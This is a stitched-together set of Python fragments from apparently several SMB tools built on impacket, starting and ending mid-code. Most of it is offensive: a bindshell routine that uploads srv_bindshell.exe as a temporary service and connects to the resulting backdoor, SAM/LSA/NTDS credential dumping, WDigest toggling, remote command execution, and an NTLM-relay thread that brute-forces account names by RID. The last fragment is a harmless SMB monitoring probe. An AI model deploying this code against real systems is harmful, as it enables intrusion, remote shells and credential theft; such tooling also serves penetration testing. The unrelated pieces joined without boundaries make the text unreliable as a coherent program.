print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users']) print('Version major: %d' % DataStore.version_major) print('Version minor: %d' % DataStore.version_minor) print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '') # TODO: uncomment when SMBConnection will have a wrapper # getServerTime() method for both SMBv1,2,3 # print 'Time: %s' % self.smb.get_server_time() return self.__resp def who(self): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1], session['sesi502_transport'][:-1])) self.__dce.disconnect() def __share_info(self, share): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2) self.__dce.disconnect() return resp def check_share(self, share=None): # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s" # % (share, self.share, self.tid)) if share: self.use(share) elif not share and (self.share is None or self.tid is None): logger.warn('Share has not been specified, select one') self.shares() def is_writable_share(self, share): _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) try: self.use(share, False) self.mkdir(_) except: pass else: self.rmdir(_) return True return False def get_writable_share(self): # Check we can write a directory on the shares, return the first writable one for _ in self.smb.listShares(): share = _['shi1_netname'][:-1] try: share_info = self.__share_info(share) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query share: %s' % share) continue path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1] if self.is_writable_share(share): logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else "")) DataStore.share_path = path return share else: logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else "")) return None def shares(self): shares = self.smb.listShares() count = 0 for i in range(len(shares)): count += 1 name = shares[i]['shi1_netname'][:-1] self.shares_list.append(name) comment = shares[i]['shi1_remark'][:-1] share_type = shares[i]['shi1_type'] _ = self.__share_info(name) max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses'] # 4294967295L is unlimited current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses'] permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions'] # impacket always returns always 0 path = _['InfoStruct']['ShareInfo2']['shi2_path'] print('[%d] %s (comment: %s)' % (count, name, comment)) print('\tPath: %s' % path) print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses)) # print '\tType: %s' % share_type # print '\tPermissions: %d' % permissions msg = 'Which share do you want to connect to? (default: 1) ' limit = len(self.shares_list) choice = read_input(msg, limit) self.use(self.shares_list[choice - 1]) def use(self, share, display=True): if not share: raise missingShare('Share has not been specified') if self.tid: self.smb.disconnectTree(self.tid) try: self.share = share.strip('\x00') self.tid = self.smb.connectTree(self.share) self.pwd = '\\' self.ls('', False) except SessionError as e: if not display: pass elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME: logger.warn('Invalid share name') elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') else: logger.warn('Unable to connect to share: %s' % (e.getErrorString(),)) def cd(self, path): if not path: return self.check_share() path = ntpath.normpath(path) self.oldpwd = self.pwd if path == '.': return elif path == '..': sep = self.pwd.split('\\') self.pwd = '\\'.join('%s' % s for s in sep[:-1]) return if path[0] == '\\': self.pwd = path else: self.pwd = ntpath.join(self.pwd, path) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid, fid) logger.warn('File is not a directory') self.pwd = self.oldpwd except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: return elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: logger.warn('File not found') else: logger.warn('Unable to change directory: %s' % (e.getErrorString(),)) self.pwd = self.oldpwd def get_pwd(self): print(ntpath.join(self.share, self.pwd)) def ls(self, path, display=True): self.check_share() if not path: pwd = ntpath.join(self.pwd, '*') else: pwd = ntpath.join(self.pwd, path) self.completion = [] pwd = ntpath.normpath(pwd) try: files = self.smb.listPath(self.share, pwd) except SessionError as e: if not display: pass elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE): logger.warn('File not found') else: logger.warn('Unable to list files: %s' % (e.getErrorString(),)) return for f in files: if display is True: print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())), '<DIR>' if f.is_directory() > 0 else '', f.get_filesize(), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize())) def lstree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') for x in range(0, path.count('\\')): print('| ') print('%s' % os.path.basename(path.replace('\\', '/'))) self.ls('%s\\*' % path, display=False) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.lstree(ntpath.join(path, identified_file)) else: for x in range(0, path.count('\\')): print('| ') print('|-- %s (%d bytes)' % (identified_file, size)) def cat(self, filename): self.check_share() filename = os.path.basename(filename) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Reading file %s (%d bytes)..' % (filepath, size)) try: self.fid = self.smb.openFile(self.tid, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to access file: %s' % (e.getErrorString(),)) continue offset = 0 while 1: try: data = self.smb.readFile(self.tid, self.fid, offset) data = data.decode("cp437") print(data) if len(data) == 0: break offset += len(data) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE: break else: logger.error('Unable to read file content: %s' % (e.getErrorString(),)) self.smb.closeFile(self.tid, self.fid) def download(self, filename, path=None): self.check_share() basename = os.path.basename(filename) if path is None: path = '.' else: path = path.replace('\\', '/') self.ls(basename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: self.downloadtree(identified_file) self.cd('..') continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Downloading file %s (%d bytes)..' % (filepath, size)) try: fh = open(os.path.join(path, identified_file), 'wb') self.smb.getFile(self.share, filepath, fh.write) fh.close() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to download file: %s' % (e.getErrorString(),)) def downloadtree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') basename = ntpath.basename(path) normpath = path.replace('\\', '/') self.cd(basename) # Check if the provided path is not a directory (if so, then the # working directory has not changed if self.pwd == self.oldpwd: self.download(basename) return logger.debug('Recreating directory %s' % self.pwd) self.ls(None, display=False) if not os.path.exists(normpath): os.makedirs(normpath) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.downloadtree(ntpath.join(path, identified_file)) self.cd('..') else: self.download(identified_file, normpath) def upload(self, pathname, destfile=None): self.check_share() if isinstance(pathname, string_types): files = glob.glob(pathname) else: files = [pathname] for filename in files: try: if isinstance(filename, string_types): fp = open(filename, 'rb') else: fp = filename except IOError: logger.error('Unable to open file %s' % filename) return False if not destfile or len(files) > 1: destfile = os.path.basename(filename) destfile = ntpath.join(self.pwd, destfile) if isinstance(filename, string_types): logger.debug('Uploading file %s to %s..' % (filename, destfile)) try: self.smb.putFile(self.share, destfile, fp.read) except SessionError as e: traceback.print_exc() if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to upload %s' % destfile) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to upload %s due to share access flags' % destfile) else: logger.error('Unable to upload file: %s' % (e.getErrorString(),)) fp.close() def rename(self, srcfile, destfile): self.check_share() srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile)) destfile = ntpath.join(self.pwd, ntpath.normpath(destfile)) self.smb.rename(self.share, srcfile, destfile) def mkdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.smb.createDirectory(self.share, path) def rm(self, filename): self.check_share() filename = ntpath.join(self.pwd, ntpath.normpath(filename)) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing file %s (%d bytes)..' % (filepath, size)) try: self.smb.deleteFile(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove file: %s' % (e.getErrorString(),)) def rmdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.ls(path, display=False) for identified_file, is_directory, _ in self.completion: if is_directory <= 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing directory %s..' % filepath) try: self.smb.deleteDirectory(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove directory: %s' % (e.getErrorString(),)) def bindshell(self, port): connected = False srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe') remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)]) if not os.path.exists(local_file): raise missingFile('srv_bindshell.exe not found in the contrib subfolder') logger.info('Launching interactive OS shell') logger.debug('Going to use temporary service %s' % srvname) if not port: port = 4445 elif not isinstance(port, int): port = int(port) self.deploy(srvname, local_file, port, remote_file) logger.info('Connecting to backdoor on port %d, wait..' % port) for counter in range(0, 3): try: time.sleep(1) if str(sys.version.split()[0]) >= '2.6': tn = Telnet(self.__dstip, port, 3) else: tn = Telnet(self.__dstip, port) connected = True tn.interact() except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e: if connected is False: warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e) if counter < 2: warn_msg += ', retrying..' logger.warn(warn_msg) else: logger.error(warn_msg) except SessionError as e: # traceback.print_exc() logger.error('SMB error: %s' % (e.getErrorString(),)) except KeyboardInterrupt as _: print() logger.info('User aborted') except Exception as e: # traceback.print_exc() logger.error(str(e)) if connected is True: tn.close() sys.stdout.flush() break time.sleep(1) self.undeploy(srvname) def getSecretsDumper(self, history): dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, history=history, ds=DataStore) return dumper def getAtExec(self, command): if DataStore.version_major > 6: atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, command=command) return atexec else: logger.warn("This command only works on Windows Vista or newer.") return None def getRpcDump(self): dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) return dumper
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output) logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
class SMBAttack(Thread): def __init__(self, config, SMBClient, username): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.config = config def run(self): global getting_usernames global got_usernames if getting_usernames: return getting_usernames = True rpctransport = transport.SMBTransport( self.__SMBConnection.getRemoteHost(), filename=r'\lsarpc', smb_connection=self.__SMBConnection) dce = rpctransport.get_dce_rpc() maxRid = 50000 dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsat.hLsarOpenPolicy2( dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] # Get Domain Sid if we are in a domain logging.info('Dumping usernames') resp = lsad.hLsarQueryInformationPolicy2( dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation) in_domain = True if resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid']: domainSid = resp['PolicyInformation']['PolicyPrimaryDomainInfo'][ 'Sid'].formatCanonical() else: # If we get an exception, maybe we aren't in a domain. Get local Sid instead logging.info( 'Target not joined to a domain. Getting local accounts instead' ) in_domain = False resp = lsad.hLsarQueryInformationPolicy2( dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][ 'DomainSid'].formatCanonical() fh = None if self.config.outputFile: try: fh = open(self.config.outputFile, 'w+') except Exception: logging.exception('Could not open file for writing') soFar = 0 SIMULTANEOUS = 1000 for j in range(maxRid / SIMULTANEOUS + 1): if (maxRid - soFar) / SIMULTANEOUS == 0: sidsToCheck = (maxRid - soFar) % SIMULTANEOUS else: sidsToCheck = SIMULTANEOUS if sidsToCheck == 0: break sids = list() for i in xrange(soFar, soFar + sidsToCheck): sids.append(domainSid + '-%d' % i) try: lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find('STATUS_NONE_MAPPED') >= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: line = "%d: %s\\%s (%s)" % ( soFar + n, resp['ReferencedDomains']['Domains'][ item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name) print line if fh: fh.write(line + '\n') soFar += SIMULTANEOUS if fh: fh.close() dce.disconnect() if in_domain: # Only works if we are relaying to a domain member SAMRDump().dump(self.__SMBConnection) got_usernames = True
class probe_smb(probemain): """ SMB probe """ # ----------------------------------------- def __init__(self): """constructor """ probemain.__init__(self, "SMB") self.smbClient = None self.aShares = None self.dceInfo = None self.domain = None self.ip = None self.password = None self.port = None self.pwd = None self.server = None self.share = None self.tid = None self.username = None self.bConnected = None self.bGuestConnected = None self.__clean() self.checkNet() self.getConfig("smb", self.job_smb) self.mainLoop() # ----------------------------------------- def __clean(self): """clean all variables""" self.bConnected = False self.bGuestConnected = True self.dceInfo = {} self.aShares = [] self.tid = None self.pwd = '\\' self.share = '' # ----------------------------------------- def getConfig(self, name, f, testf=None): """get the configuration from the database """ jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK) for j in jobs: logging.info("add job to scheduler every {} sec".format(j['freq'])) # -------------------------------------------------- def connect(self): """connect to the server """ try: self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port) self.smbClient.login(self.username, self.password, self.domain, '', '') except Exception as e: logging.error(str(e)) self.bConnected = False return False self.bConnected = True self.bGuestConnected = (self.smbClient.isGuestSession() > 0) return True # -------------------------------------------------- def isUserLogged(self): """is the connection guest """ return self.bGuestConnected # -------------------------------------------------- def getDCEInfo(self): """information on the DCE/RPC connection """ if self.bConnected is False: return rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) r = { "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'], "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')), "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'], "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], "type": resp['InfoStruct']['ServerInfo102']['sv102_type'], "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')), "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'], "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'], "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'], "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'], "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'], "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'], "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', '')) } self.dceInfo = r del rpctransport del dce del resp return r # -------------------------------------------------- def getWho(self): """who is connected -> error """ try: rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) except Exception as e: logging.error("getWho: {}".format(str(e))) return for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) # -------------------------------------------------- def getShares(self): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return r = [] resp = self.smbClient.listShares() for respi in resp: r.append(respi['shi1_netname'][:-1]) self.aShares = r return r # -------------------------------------------------- def getShare(self, regexp=".*"): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return resp = self.smbClient.listShares() for i, _ in enumerate(resp): netname = resp[i]['shi1_netname'][:-1] _r = re.match(regexp, netname) if _r != None: return { "netname": netname, "type": resp[i]['shi1_type'], "remark": resp[i]['shi1_remark'][:-1] } return False # -------------------------------------------------- def useShare(self, share): """use a share """ if self.bConnected is False: logging.error("No connection open") return False if not self.aShares: self.getShares() if share not in self.aShares: logging.error("useShare : share {} not available on server".format(share)) return False try: self.tid = self.smbClient.connectTree(share) except Exception as e: logging.error("useShare: {}".format(str(e))) return False logging.debug("connected on share {}".format(share)) self.share = share # -------------------------------------------------- def cd(self, _dir): """change directory on the share """ if self.bConnected is False: logging.error("No connection open") return if self.tid is None: logging.error("not on a share") return pwd = ntpath.normpath(string.replace(_dir, '/', '\\')) logging.debug("cd to normalize path {}".format(pwd)) # Let's try to open the directory to see if it's valid try: fid = self.smbClient.openFile(self.tid, pwd, creationOption=FILE_DIRECTORY_FILE, desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE) self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("cd: {}".format(str(e))) return False logging.debug("success cd to {}".format(_dir)) self.pwd = pwd return True # -------------------------------------------------- def lsFiles(self, _filter='*'): """list files in the directory """ if self.bConnected is False: logging.error("No connection open") return False if self.share == '': logging.error("No share selected, see useShare()") return False if self.tid is None: logging.error("not on a share") return False logging.debug("ls on share {} in {}".format(self.share, self.pwd)) pwd = ntpath.join(self.pwd, _filter) r = [] try: for f in self.smbClient.listPath(self.share, pwd): if f.is_directory() == 0: r.append({ "mtime": f.get_mtime_epoch(), "ctime": f.get_ctime_epoch(), "atime": f.get_atime_epoch(), "size": f.get_filesize(), "name": str(f.get_longname()) }) except Exception as ex: logging.error("file list: {}".format(str(ex))) return r # -------------------------------------------------- def logoff(self): """get off the server """ if self.smbClient is None or self.bConnected is False: logging.error("No connection open") else: self.smbClient.logoff() del self.smbClient self.__clean() # -------------------------------------------------- def __str__(self): """for print """ import pprint s = "smb client object:\n" s += " configuration:\n" s += " domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password) s += " server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port) s += "\n status:\n" if self.bConnected: if self.bGuestConnected: s += " guest connected\n" else: s += " user connected\n" else: s += " not connected\n" if self.dceInfo.__contains__('licenses'): s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo)) if self.aShares: s += "\n shares = {}\n".format(pprint.pformat(self.aShares)) return s # ----------------------------------------- def step_get_file_stats(self, _step, iStep): """get_file_stats action """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] _ms = time.time() sError = "smb-step-{:02d}-error".format(iStep) if self.useShare(_step['share']) is False: result[sError] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] if self.cd(_step['path']) is False: result[sError] = "path not available in share: {}".format(_step['share']) return result result["smb-step-{:02d}-path".format(iStep)] = str(_step['path']) a = self.lsFiles(_step['file']) if a is False: result[sError] = "file access error: {}".format(_step['file']) return result if len(a) == 0: result[sError] = "file not found: {}".format(_step['file']) return result result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-file".format(iStep)] = a[0]['name'] result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat() result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat() result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat() result["smb-step-{:02d}-size".format(iStep)] = a[0]['size'] return result #pprint.pprint(a) # ----------------------------------------- def step_get_share(self, _step, iStep): """get_share action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getShare(_step['share']) if r != False: result["smb-step-{:02d}-remark".format(iStep)] = r['remark'] result["smb-step-{:02d}-netname".format(iStep)] = r['netname'] else: result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def step_get_dce_info(self, _step, iStep): """get DCE action """ result = {} _ms = time.time() 